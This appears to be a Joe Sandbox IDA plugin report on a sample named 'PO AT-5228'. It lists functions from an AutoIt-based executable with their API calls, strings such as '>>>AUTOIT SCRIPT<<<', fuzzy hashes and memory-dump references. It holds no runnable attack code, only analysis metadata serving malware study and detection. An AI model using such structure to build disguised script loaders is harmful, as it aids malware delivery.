Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
String ID:
API String ID: 3851250370-0
Opcode ID: 4edc08c28ecb934901ddf4ae6e23897b921504fa98a864c59d411a8f1d4f7347
Instruction ID: 8c0d1f828289e17502849d8604ffed0da2acda24c20ccffa21ba767aa43983ac
Opcode Fuzzy Hash: 4edc08c28ecb934901ddf4ae6e23897b921504fa98a864c59d411a8f1d4f7347
Instruction Fuzzy Hash: 4E618DB180A2C4CBCF16CF6898C15E9BFF4AF39300B1989D9D8599F347D6248909CB66

Function 00B6406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00B6449E,?,?,00000000,00000001), ref: 00B6407B
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00B6449E,?,?,00000000,00000001), ref: 00B64092
LoadResource.KERNEL32(?,00000000,?,?,00B6449E,?,?,00000000,00000001,?,?,?,?,?,?,00B641FB), ref: 00BD4F1A
SizeofResource.KERNEL32(?,00000000,?,?,00B6449E,?,?,00000000,00000001,?,?,?,?,?,?,00B641FB), ref: 00BD4F2F
LockResource.KERNEL32(00B6449E,?,?,00B6449E,?,?,00000000,00000001,?,?,?,?,?,?,00B641FB,00000000), ref: 00BD4F42

Strings

SCRIPT, xrefs: 00B64088

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 9cf7b90bc6fe1161afec1e9119198573e0111e53107b08fb0fefaf5392d52831
Instruction ID: e264ebba4fa03aca024decbc00995aa9dfb916e73c83654ba07d7ecdf3cf5172
Opcode Fuzzy Hash: 9cf7b90bc6fe1161afec1e9119198573e0111e53107b08fb0fefaf5392d52831
Instruction Fuzzy Hash: 77112E71200751AFE7218B66EC88F677BB9EBC5B51F14456CF6129B2A0DBB1DC448A20

Function 00BA6CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00BD2F49), ref: 00BA6CB9
FindFirstFileW.KERNEL32(?,?), ref: 00BA6CCA
FindClose.KERNEL32(00000000), ref: 00BA6CDA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 687793809e144c8ce9218c5bf22d244f1bfd8fe2ae411bcc9f84af891ccd3c7b
Instruction ID: adfccac427a2c2e09ae4e28af24420087aee63cf0f9460e6f958c48adbda2ab8
Opcode Fuzzy Hash: 687793809e144c8ce9218c5bf22d244f1bfd8fe2ae411bcc9f84af891ccd3c7b
Instruction Fuzzy Hash: 75E0DF71818410AB82206738EC8D8EA37ACEE06339F10074AF872D21E0FBB0ED1096D6

Function 00B73B70 Relevance: 2.2, Strings: 1, Instructions: 903COMMON

Download Yara Rule

Strings

@, xrefs: 00B74176

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: @
API String ID: 3728558374-2766056989
Opcode ID: 278e21b11ae6573eddfa30dd875f2974baa7cbd882d42af64d4cc3d227d3f139
Instruction ID: 285d465436c9fd9a6c8319dfc7ba772e3f8e8ae0371f2e2d1c650c41ce978b0c
Opcode Fuzzy Hash: 278e21b11ae6573eddfa30dd875f2974baa7cbd882d42af64d4cc3d227d3f139
Instruction Fuzzy Hash: 0672AF70E042099FCB24DF58C481ABEB7F5EF48700F14C09AE929AB351EB75AE45DB91

Function 00B73200 Relevance: 1.0, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 49e5adb69b024b5bc3c7d4952835fc65f0d1612366d2bae498cde056b937476a
Instruction ID: a0e8fa7361057fb15949158474d31337158e379a2f73cf277e674e9b0f31d61c
Opcode Fuzzy Hash: 49e5adb69b024b5bc3c7d4952835fc65f0d1612366d2bae498cde056b937476a
Instruction Fuzzy Hash: B99268706083419FD724DF18C480B6ABBE1FF88704F14889DE9AA8B362D775ED45DB92

Function 00B6E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B6E959
timeGetTime.WINMM ref: 00B6EBFA
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B6ED2E
TranslateMessage.USER32(?), ref: 00B6ED3F
DispatchMessageW.USER32(?), ref: 00B6ED4A
LockWindowUpdate.USER32(00000000), ref: 00B6ED79
DestroyWindow.USER32 ref: 00B6ED85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B6ED9F
Sleep.KERNEL32(0000000A), ref: 00BD5270
TranslateMessage.USER32(?), ref: 00BD59F7
DispatchMessageW.USER32(?), ref: 00BD5A05
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BD5A19

Strings

@GUI_WINHANDLE, xrefs: 00BD5360
@TRAY_ID, xrefs: 00BD54C9
@GUI_CTRLHANDLE, xrefs: 00BD53AC
@GUI_CTRLID, xrefs: 00BD5314

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: a0f4b0109b8adbdb3572b89d641e6bb3f622bdb2733a869ff9f1b2ce13749109
Instruction ID: 397e38bddd8a11f5fa72d7381fa9f24a6c8beaf0595459d85472ae51191ad1e9
Opcode Fuzzy Hash: a0f4b0109b8adbdb3572b89d641e6bb3f622bdb2733a869ff9f1b2ce13749109
Instruction Fuzzy Hash: 5962B470504340DFEB24DF24C885BAAB7E4FF54304F1849AEF95A8B292DBB5D844CB52

Function 00B95C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00B95EC3
___createFile.LIBCMT ref: 00B95F04
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00B95F2D
__dosmaperr.LIBCMT ref: 00B95F34
GetFileType.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00B95F47
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00B95F6A
__dosmaperr.LIBCMT ref: 00B95F73
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00B95F7C
__set_osfhnd.LIBCMT ref: 00B95FAC
__lseeki64_nolock.LIBCMT ref: 00B96016
__close_nolock.LIBCMT ref: 00B9603C
__chsize_nolock.LIBCMT ref: 00B9606C
__lseeki64_nolock.LIBCMT ref: 00B9607E
__lseeki64_nolock.LIBCMT ref: 00B96176
__lseeki64_nolock.LIBCMT ref: 00B9618B
__close_nolock.LIBCMT ref: 00B961EB

Part of subcall function 00B8EA9C: CloseHandle.KERNEL32(00000000,00C0EEF4,00000000,?,00B96041,00C0EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B8EAEC
Part of subcall function 00B8EA9C: GetLastError.KERNEL32(?,00B96041,00C0EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B8EAF6
Part of subcall function 00B8EA9C: __free_osfhnd.LIBCMT ref: 00B8EB03
Part of subcall function 00B8EA9C: __dosmaperr.LIBCMT ref: 00B8EB25

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

__lseeki64_nolock.LIBCMT ref: 00B9620D
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00B96342
___createFile.LIBCMT ref: 00B96361
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00B9636E
__dosmaperr.LIBCMT ref: 00B96375
__free_osfhnd.LIBCMT ref: 00B96395
__invoke_watson.LIBCMT ref: 00B963C3
__wsopen_helper.LIBCMT ref: 00B963DD

Strings

@, xrefs: 00B95F98

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: 1faf906c824a9425d5655e4c74f0204758151a44335cf81999bd3869efc226f0
Instruction ID: 7b48c4b3cda3e8ac207b031daccb322435c15d7cd01a8d687cb58cf51a2ddcc9
Opcode Fuzzy Hash: 1faf906c824a9425d5655e4c74f0204758151a44335cf81999bd3869efc226f0
Instruction Fuzzy Hash: 1922267190460A9BEF2A9F68DC85BBD7BE1EF11324F2442F9E9219B2E2C7358D40C751

Function 00B8EE0E Relevance: 26.2, APIs: 17, Instructions: 664COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 35a8ade7738f4a8097f707ffa563ed86f3a3d57f4f5c7cd50072d1208bc54eff
Instruction ID: 48e44fe51c7474c9cb970be9182c6897f1208b727a56841905e590a53af4f384
Opcode Fuzzy Hash: 35a8ade7738f4a8097f707ffa563ed86f3a3d57f4f5c7cd50072d1208bc54eff
Instruction Fuzzy Hash: A732F570A04247DFDB21BF68D880BBD7BE1EF55314F2841EAE855AF2A2D7709842C761

Function 00BAFA0C Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcscpy.LIBCMT ref: 00BAFA96
_wcschr.LIBCMT ref: 00BAFAA4
_wcscpy.LIBCMT ref: 00BAFABB
_wcscat.LIBCMT ref: 00BAFACA
_wcscat.LIBCMT ref: 00BAFAE8
_wcscpy.LIBCMT ref: 00BAFB09
__wsplitpath.LIBCMT ref: 00BAFBE6
_wcscpy.LIBCMT ref: 00BAFC0B
_wcscpy.LIBCMT ref: 00BAFC1D
_wcscpy.LIBCMT ref: 00BAFC32
_wcscat.LIBCMT ref: 00BAFC47
_wcscat.LIBCMT ref: 00BAFC59
_wcscat.LIBCMT ref: 00BAFC6E

Part of subcall function 00BABFA4: _wcscmp.LIBCMT ref: 00BAC03E
Part of subcall function 00BABFA4: __wsplitpath.LIBCMT ref: 00BAC083
Part of subcall function 00BABFA4: _wcscpy.LIBCMT ref: 00BAC096
Part of subcall function 00BABFA4: _wcscat.LIBCMT ref: 00BAC0A9
Part of subcall function 00BABFA4: __wsplitpath.LIBCMT ref: 00BAC0CE
Part of subcall function 00BABFA4: _wcscat.LIBCMT ref: 00BAC0E4
Part of subcall function 00BABFA4: _wcscat.LIBCMT ref: 00BAC0F7

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00BAFA61

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 2955681530-2806939583
Opcode ID: bce6c7de9f92e7dc292005bde4c26b8cf3ffbd252ae78ae764624b5acfd5838f
Instruction ID: 36543d71b3081a882a2cda063e31392378a3fdd637edfd151cceeace6ddd93fc
Opcode Fuzzy Hash: bce6c7de9f92e7dc292005bde4c26b8cf3ffbd252ae78ae764624b5acfd5838f
Instruction Fuzzy Hash: 3691B272508305AFCB20FF54C851FAAB3E8FF55310F0448A9F959972A1DB35EA48CB96

Function 00B63F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00B63F86
RegisterClassExW.USER32(00000030), ref: 00B63FB0
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B63FC1
InitCommonControlsEx.COMCTL32(?), ref: 00B63FDE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B63FEE
LoadIconW.USER32(000000A9), ref: 00B64004
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B64013

Strings

0, xrefs: 00B63F68
+, xrefs: 00B63F6F
TaskbarCreated, xrefs: 00B63FB6
AutoIt v3 GUI, xrefs: 00B63FA2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 497e97b8044c233628e51067f367e9539b232907738a5d9d6a6fdf9e8de2f0e2
Instruction ID: 97ab610db445df7822958ef78efe716a4f242b120d901e3c2fdda30600e71fbb
Opcode Fuzzy Hash: 497e97b8044c233628e51067f367e9539b232907738a5d9d6a6fdf9e8de2f0e2
Instruction Fuzzy Hash: CB21F7B5910348AFDB10DFA4E889BCDBBB5FB18700F04421AFA11AB6A0DBB105458F90

Function 00BABFA4 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BABDB4: __time64.LIBCMT ref: 00BABDBE

Part of subcall function 00B64517: _fseek.LIBCMT ref: 00B6452F

__wsplitpath.LIBCMT ref: 00BAC083

Part of subcall function 00B81DFC: __wsplitpath_helper.LIBCMT ref: 00B81E3C

_wcscpy.LIBCMT ref: 00BAC096
_wcscat.LIBCMT ref: 00BAC0A9
__wsplitpath.LIBCMT ref: 00BAC0CE
_wcscat.LIBCMT ref: 00BAC0E4
_wcscat.LIBCMT ref: 00BAC0F7
_wcscmp.LIBCMT ref: 00BAC03E

Part of subcall function 00BAC56D: _wcscmp.LIBCMT ref: 00BAC65D
Part of subcall function 00BAC56D: _wcscmp.LIBCMT ref: 00BAC670

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00BAC2A1
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00BAC338
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00BAC34E
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00BAC35F
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00BAC371

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 2378138488-0
Opcode ID: a6d9755e3a405eb314a99bd89e55aada31577b72995d3e1d34e91e965169a16b
Instruction ID: 99dbe71ec666097dbfe7ca37a895fd8a467c1470a2cc95af079509467a1843e9
Opcode Fuzzy Hash: a6d9755e3a405eb314a99bd89e55aada31577b72995d3e1d34e91e965169a16b
Instruction Fuzzy Hash: 1EC109B1A00219AADF11DF95CC81EEEBBFDEF59310F0040EAE609E6151DB749A448F65

Function 00B63742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00B637B3
KillTimer.USER32(?,00000001), ref: 00B637DD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B63800
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B6380B
CreatePopupMenu.USER32 ref: 00B6381F
PostQuitMessage.USER32(00000000), ref: 00B6382E

Strings

TaskbarCreated, xrefs: 00B63806

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 9202316e37558b4d2ac78ce4d98026b2d051d1b18c4b119fe9f0c5d540898112
Instruction ID: ff1bcafb30368b54bdc8ecb2c6b7d560429a5e1c106187e9951c198c350d6f87
Opcode Fuzzy Hash: 9202316e37558b4d2ac78ce4d98026b2d051d1b18c4b119fe9f0c5d540898112
Instruction Fuzzy Hash: FA416AF1214289AFDB205F28EC8AFBE36D5FB50B00F0801A9FD06D7591DF699E509761

Function 00B63E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00B63E79
LoadCursorW.USER32(00000000,00007F00), ref: 00B63E88
LoadIconW.USER32(00000063), ref: 00B63E9E
LoadIconW.USER32(000000A4), ref: 00B63EB0
LoadIconW.USER32(000000A2), ref: 00B63EC2

Part of subcall function 00B64024: LoadImageW.USER32(00B60000,00000063,00000001,00000010,00000010,00000000), ref: 00B64048

RegisterClassExW.USER32(?), ref: 00B63F30

Part of subcall function 00B63F53: GetSysColorBrush.USER32(0000000F), ref: 00B63F86
Part of subcall function 00B63F53: RegisterClassExW.USER32(00000030), ref: 00B63FB0
Part of subcall function 00B63F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B63FC1
Part of subcall function 00B63F53: InitCommonControlsEx.COMCTL32(?), ref: 00B63FDE
Part of subcall function 00B63F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B63FEE
Part of subcall function 00B63F53: LoadIconW.USER32(000000A9), ref: 00B64004
Part of subcall function 00B63F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B64013

Strings

0, xrefs: 00B63F02
AutoIt v3, xrefs: 00B63F1F
#, xrefs: 00B63F09

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 83ef76d6117f36245a7026c2b5d0f00bdf80634f0f25c76d6ca7246e0e77ff39
Instruction ID: caa822d97429b3423788e2d144f9744dc22fb9d0a2a7f5f57f5ca110e5d2f945
Opcode Fuzzy Hash: 83ef76d6117f36245a7026c2b5d0f00bdf80634f0f25c76d6ca7246e0e77ff39
Instruction Fuzzy Hash: 79216DB0D10304AFCB20DFA9EC46B9DBFF5FB58720F04416AEA04A76A0D7B54A518F95

Function 0195FC80 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 0195FD51
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0195FF77

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
Instruction ID: 3504a23be46f15a932d37726fbc2fad10db804d203d3f80983ffa05f105f3f5b
Opcode Fuzzy Hash: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
Instruction Fuzzy Hash: 0CA15B70E00209EBDB54CFA4C894BEEBBB5FF48715F208559E909BB281C775AA45CF90

Function 00B649FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00B64A1D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00BD41DB
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00BD421A
RegCloseKey.ADVAPI32(?), ref: 00BD4249

Strings

Include, xrefs: 00BD41D3, 00BD4212
Software\AutoIt v3\AutoIt, xrefs: 00B64A13

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
